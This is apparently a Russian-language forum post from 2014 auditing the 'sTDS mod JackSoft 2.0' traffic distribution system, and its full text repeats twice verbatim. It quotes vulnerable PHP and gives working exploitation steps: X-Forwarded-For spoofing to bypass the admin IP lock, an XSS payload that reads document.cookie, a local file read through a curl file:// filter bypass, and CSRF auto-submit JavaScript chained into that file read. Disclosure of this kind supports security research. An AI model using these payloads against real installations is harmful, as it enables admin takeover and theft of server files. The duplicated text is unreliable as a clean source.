Take_IT
24.09.2014, 13:14
Продукт: sTDS mod JackSoft
Версия: 2.0
Описание продукта: система распределения трафика, используется для распределения трафика по различным параметрам.
В первую очередь хотел бы высказать несколько общих замечаний касающихся безопасности данной TDS.
1) Недостаточная фильтрация переменных.
Многие из критичных для данного приложения переменных фильтруются недостаточно. Так например фильтр с помощью eregi обходится с помощью нулл-байта. А сама идея фильтра с помощью стоп слов ненадежна и элементарно обходится.
Данная уязвимость сама по себе ценности не представляет. Но может привести к возможности эксплуатировать, другие, более критические уязвимости.
Уязвимый код:
Файл got.php (Строки: 10-12)
PHP:
$ua=urldecode($_SERVER['HTTP_USER_AGENT']);
...
if(eregi($stop_words,$ua))$ua=eregi_replace($stop_ words,'xxx',$ua);
Недостаточная фильтрация переменной $ua
Файл got.php (Строки: 20,85)
PHP:
$ref=urldecode($_SERVER['HTTP_REFERER']);
...
if(eregi($stop_words,$ref))$ref=eregi_replace($sto p_words,'xxx',$ref);
Недостаточная фильтрация переменной $ref
Файл got.php (Строки: 83,86)
PHP:
$refref=urldecode(substr(stristr(getenv('REQUEST_U RI'),'sref='),5));
...
if(eregi($stop_words,$refref))$refref=eregi_replac e($stop_words,'xxx',$refref);
Недостаточная фильтрация переменной $refref
2) Отсутствие флага HttpOnly у cookies хранящих критическую информацию. Позволяет злоумышленнику при проведении атаки класса XSS украсть данные куки.
Уязвимый код:
Файл login.php (Строки: 21)
PHP:
setcookie('pwd',md5(md5($pass.$alogin)),time()+60* 60*8);
Флаг HttpOnly не устанавливается!
3) Обход привязки авторизации к IP адресу.
Админ панель данного приложения может быть жестко привязана к IP адресу администратора. То есть автором, задумывалось блокировать любые попытки авторизаций с других IP адресов. Но, зная IP адрес администратора, злоумышленник сможет его подделать и успешно авторизироваться в админ панели.
Данная уязвимость может помочь в авторизации в админ панели, в том случае если уже известны логин/пароль и IP адрес администратора.
Уязвимый код:
Файл functions.php (Строки: 45-72)
PHP:
functiongetip(){
If (!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && !stristr($_SERVER['HTTP_X_FORWARDED_FOR'],"known") && !isLocalIP($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$ipList=explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']);
$ip=$ipList[0];
}
...
if (preg_match("/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/",$ip) &&strlen($ip)403 Forbidden");
}
}
Как видно из данного кода, скрипт админ-панели использует функцию GetIP на результат которой мы можем влиять, что дает нам возможность "изменить" наш IP адрес на нужный.
Пример:
http://test/path_to_stds/index.php
Code:
X-Forwaded-For: [admin_ip]
Где [admin_ip] - мы заменяем на IP адрес администратора
SQL injection
В уязвимости класса SQL injection в данном приложении нет никакого смысла, так как в БД не хранится никаких критичных данных. Но конкретно данная уязвимость позволяет провести атаку класса XSS active, что позволит злоумышленнику украсть данные для входа в админ панель.
Зависимости:
Code:
register_global=ON
Отсутствие фильтрации и отсутствие инициализации системной переменной приводит к возможности провести SQL injection.
Уязвимый код:
Файл got.php (Строки: 31-43)
PHP:
$ipa=file(dirname(__FILE__)."/worldip/worldip.en.txt");
$sss=sizeof($ipa);
for($i=0;$i=$ipLstart&&$ipLo";
$se_query=$line['query_string'];
echo"$se_query";
echo"";
Вывод $se_query в браузер при просмотре статистики. Как видно из листингов нигде нет нормальной фильтрации данного значения.
Пример:
Code:
http://test/path_to_stds/got.php?sid=1&sref=http://www.google.ru/?q=%3Cbody%20onload=%22alert(document.cookie);%22% 3E111%3C/body%3E
XSS код будет отображен тут:
http://test/path_to_stds/stats.php
File read
Зависимости:
Необходимы права администратора
Для чтения любого локального файла необходимо создать аут с url вида:
Code:
f{{key}}ile://localhost/[filepath]
А Redir Type указать равным Curl. Так как Curl умеет читать локальные файлы, то при обращении к схеме с созданным аутом:
Code:
http://test/path_to_stds/got.php?sid=[schema_num]
Строка "{{key}}" заменится на "". И мы увидим содержимое локального файла
Code:
file://localhost/[filepath]
Пример:
1) Создаем аут с Redir Type равным Curl
Code:
f{{key}}ile://localhost/С:/boot.ini
2) Открываем
Code:
http://test/path_to_stds/got.php?sid=1
CSRF
Вся админ-панель подверженна уязвимостям CSRF. Это дает шанс злоумышлиннику вынудить администратора выполнить любое действие в админ панели от имени администратора, но при этом в тайне от него.
К примеру можно вынудить админа создать такую схему с аутом, которая позволит в дальнейшем злоумышленнику читать локальные файлы с помощью предыдущей уязвимости.
Пример:
Если у злоумышленника получится заманить админа на страницу со специальным содержимым.
Пример:
Code:
function SubmitSchemeForm(){
document.CreateScheme.submit();
}
SubmitSchemeForm();
function SubmitOutForm(){
document.CreateOut.submit();
}
setTimeout(SubmitOutForm, 5000);
То после этого злоумышленник получит возможность читать любой файл:
Code:
http://test/path_to_stds/got.php?sid=2&tds-key=ile&tds-path=C:/boot.ini
Для данного примера эксплуатирования уязвимости необходимо правильно подобрать значение sid
Версия: 2.0
Описание продукта: система распределения трафика, используется для распределения трафика по различным параметрам.
В первую очередь хотел бы высказать несколько общих замечаний касающихся безопасности данной TDS.
1) Недостаточная фильтрация переменных.
Многие из критичных для данного приложения переменных фильтруются недостаточно. Так например фильтр с помощью eregi обходится с помощью нулл-байта. А сама идея фильтра с помощью стоп слов ненадежна и элементарно обходится.
Данная уязвимость сама по себе ценности не представляет. Но может привести к возможности эксплуатировать, другие, более критические уязвимости.
Уязвимый код:
Файл got.php (Строки: 10-12)
PHP:
$ua=urldecode($_SERVER['HTTP_USER_AGENT']);
...
if(eregi($stop_words,$ua))$ua=eregi_replace($stop_ words,'xxx',$ua);
Недостаточная фильтрация переменной $ua
Файл got.php (Строки: 20,85)
PHP:
$ref=urldecode($_SERVER['HTTP_REFERER']);
...
if(eregi($stop_words,$ref))$ref=eregi_replace($sto p_words,'xxx',$ref);
Недостаточная фильтрация переменной $ref
Файл got.php (Строки: 83,86)
PHP:
$refref=urldecode(substr(stristr(getenv('REQUEST_U RI'),'sref='),5));
...
if(eregi($stop_words,$refref))$refref=eregi_replac e($stop_words,'xxx',$refref);
Недостаточная фильтрация переменной $refref
2) Отсутствие флага HttpOnly у cookies хранящих критическую информацию. Позволяет злоумышленнику при проведении атаки класса XSS украсть данные куки.
Уязвимый код:
Файл login.php (Строки: 21)
PHP:
setcookie('pwd',md5(md5($pass.$alogin)),time()+60* 60*8);
Флаг HttpOnly не устанавливается!
3) Обход привязки авторизации к IP адресу.
Админ панель данного приложения может быть жестко привязана к IP адресу администратора. То есть автором, задумывалось блокировать любые попытки авторизаций с других IP адресов. Но, зная IP адрес администратора, злоумышленник сможет его подделать и успешно авторизироваться в админ панели.
Данная уязвимость может помочь в авторизации в админ панели, в том случае если уже известны логин/пароль и IP адрес администратора.
Уязвимый код:
Файл functions.php (Строки: 45-72)
PHP:
functiongetip(){
If (!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && !stristr($_SERVER['HTTP_X_FORWARDED_FOR'],"known") && !isLocalIP($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$ipList=explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']);
$ip=$ipList[0];
}
...
if (preg_match("/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/",$ip) &&strlen($ip)403 Forbidden");
}
}
Как видно из данного кода, скрипт админ-панели использует функцию GetIP на результат которой мы можем влиять, что дает нам возможность "изменить" наш IP адрес на нужный.
Пример:
http://test/path_to_stds/index.php
Code:
X-Forwaded-For: [admin_ip]
Где [admin_ip] - мы заменяем на IP адрес администратора
SQL injection
В уязвимости класса SQL injection в данном приложении нет никакого смысла, так как в БД не хранится никаких критичных данных. Но конкретно данная уязвимость позволяет провести атаку класса XSS active, что позволит злоумышленнику украсть данные для входа в админ панель.
Зависимости:
Code:
register_global=ON
Отсутствие фильтрации и отсутствие инициализации системной переменной приводит к возможности провести SQL injection.
Уязвимый код:
Файл got.php (Строки: 31-43)
PHP:
$ipa=file(dirname(__FILE__)."/worldip/worldip.en.txt");
$sss=sizeof($ipa);
for($i=0;$i=$ipLstart&&$ipLo";
$se_query=$line['query_string'];
echo"$se_query";
echo"";
Вывод $se_query в браузер при просмотре статистики. Как видно из листингов нигде нет нормальной фильтрации данного значения.
Пример:
Code:
http://test/path_to_stds/got.php?sid=1&sref=http://www.google.ru/?q=%3Cbody%20onload=%22alert(document.cookie);%22% 3E111%3C/body%3E
XSS код будет отображен тут:
http://test/path_to_stds/stats.php
File read
Зависимости:
Необходимы права администратора
Для чтения любого локального файла необходимо создать аут с url вида:
Code:
f{{key}}ile://localhost/[filepath]
А Redir Type указать равным Curl. Так как Curl умеет читать локальные файлы, то при обращении к схеме с созданным аутом:
Code:
http://test/path_to_stds/got.php?sid=[schema_num]
Строка "{{key}}" заменится на "". И мы увидим содержимое локального файла
Code:
file://localhost/[filepath]
Пример:
1) Создаем аут с Redir Type равным Curl
Code:
f{{key}}ile://localhost/С:/boot.ini
2) Открываем
Code:
http://test/path_to_stds/got.php?sid=1
CSRF
Вся админ-панель подверженна уязвимостям CSRF. Это дает шанс злоумышлиннику вынудить администратора выполнить любое действие в админ панели от имени администратора, но при этом в тайне от него.
К примеру можно вынудить админа создать такую схему с аутом, которая позволит в дальнейшем злоумышленнику читать локальные файлы с помощью предыдущей уязвимости.
Пример:
Если у злоумышленника получится заманить админа на страницу со специальным содержимым.
Пример:
Code:
function SubmitSchemeForm(){
document.CreateScheme.submit();
}
SubmitSchemeForm();
function SubmitOutForm(){
document.CreateOut.submit();
}
setTimeout(SubmitOutForm, 5000);
То после этого злоумышленник получит возможность читать любой файл:
Code:
http://test/path_to_stds/got.php?sid=2&tds-key=ile&tds-path=C:/boot.ini
Для данного примера эксплуатирования уязвимости необходимо правильно подобрать значение sid